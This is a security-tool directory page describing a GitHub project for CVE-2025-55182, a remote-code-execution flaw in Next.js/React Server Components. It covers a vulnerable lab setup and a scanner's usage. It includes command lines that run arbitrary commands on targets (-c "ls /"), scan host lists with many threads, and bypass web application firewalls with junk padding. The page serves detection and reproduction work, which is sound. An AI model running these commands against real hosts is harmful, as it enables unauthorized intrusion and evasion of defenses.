Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182 — CVE-2025-55182复现环境及RCE回显poc | Kitploit
Ferramentas/GitHubGitHub/zzhorc/cve-2025-55182
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassWeb SecurityPenetration Testing
GitHubzzhorc/cve-2025-55182

CVE-2025-55182

CVE-2025-55182复现环境及RCE回显poc

Ver Repositório
72há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Affect Version

ComponenteVersão recomendada para reproduçãoFaixa de versões vulneráveis
Node.js>= 20.9.020.9.0 (LTS) e superior
Next.js15.0.015.x, 16.x(App Router)
React Core19.0.0 ou 19.2.019.0.0 a 19.2.0
RSC Bundlerreact-server-dom-webpack19.0.0 a 19.2.0

Build and Start

  1. Instalar versão inferior à força

    root@kitploit:~
    cd cve-2025-55182-target
    npm install --force
    
  2. Verificar versões das dependências

    root@kitploit:~
    npm list react next
    # Confirmar que a saída mostra [email protected] e [email protected]
    

    Desde que a lista de dependências de topo mostre [email protected] e [email protected], o ambiente foi bloqueado com sucesso no estado vulnerável. Ignore avisos e códigos de erro aqui.

  3. Build:

    root@kitploit:~
    npm run build
    
  4. Executar:

    root@kitploit:~
    npm start
    

    O servidor escutará em http://localhost:3000. Ambiente configurado, pronto para iniciar a verificação de vulnerabilidade.

Example

  • Detecção/varredura de vulnerabilidade:

    root@kitploit:~
    cd React2shell
    python3.11 scanner.py -u http://127.0.0.1:3000/
    
  • RCE:

    root@kitploit:~
    python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
    

    rce

poc

REF

react2shell-scanner

react2shell-scanner

A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components.

For technical details on the vulnerability and detection methodology, see our blog post: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

How It Works

By default, the scanner sends a crafted multipart POST request containing an RCE proof-of-concept payload that executes a deterministic math operation (41*271 = 11111). Vulnerable hosts return the result in the X-Action-Redirect response header as /login?a=11111.

The scanner tests the root path first. If not vulnerable, it follows same-host redirects (e.g., / to /en/) and tests the redirect destination. Cross-origin redirects are not followed.

Safe Check Mode

The --safe-check flag uses an alternative detection method that relies on side-channel indicators (500 status code with specific error digest) without executing code on the target. Use this mode when RCE execution is not desired.

WAF Bypass

The --waf-bypass flag prepends random junk data to the multipart request body. This can help evade WAF content inspection that only analyzes the first portion of request bodies. The default size is 128KB, configurable via --waf-bypass-size. When WAF bypass is enabled, the timeout is automatically increased to 20 seconds (unless explicitly set).

Windows Mode

The --windows flag switches the payload from Unix shell (echo $((41*271))) to PowerShell (powershell -c "41*271") for targets running on Windows.

Requirements

  • Python 3.9+
  • requests
  • tqdm

Installation

root@kitploit:~
pip install -r requirements.txt

Usage

Scan a single host:

root@kitploit:~
python3 scanner.py -u https://example.com

Scan a list of hosts:

root@kitploit:~
python3 scanner.py -l hosts.txt

Scan with multiple threads and save results:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

Scan with custom headers:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Use safe side-channel detection:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check

Scan Windows targets:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

Scan with WAF bypass:

root@kitploit:~
python3 scanner.py -u https://example.com --waf-bypass

RCE

root@kitploit:~
python3 scanner.py -u https://example.com -c "ls /"

Options

root@kitploit:~
-u, --url         Single URL to check
-c, --cmd         Command to execute
-l, --list        File containing hosts (one per line)
-t, --threads     Number of concurrent threads (default: 10)
--timeout         Request timeout in seconds (default: 10)
-o, --output      Output file for results (JSON)
--all-results     Save all results, not just vulnerable hosts
-k, --insecure    Disable SSL certificate verification
-H, --header      Custom header (can be used multiple times)
-v, --verbose     Show response details for vulnerable hosts
-q, --quiet       Only output vulnerable hosts
--no-color        Disable colored output
--safe-check      Use safe side-channel detection instead of RCE PoC
--windows         Use Windows PowerShell payload instead of Unix shell
--waf-bypass      Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)

Credits

The RCE PoC was originally disclosed by @maple3142 -- we are incredibly grateful for their work in publishing a working PoC.

This tooling originally was built out as a safe way to detect the RCE. This functionality is still available via --safe-check, the "safe detection" mode.

  • Assetnote Security Research Team - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah
  • xEHLE_ - RCE output reflection in resp header
  • Nagli

Output

Results are printed to the terminal. When using -o, vulnerable hosts are saved to a JSON file containing the full HTTP request and response for verification.

Baixar ferramenta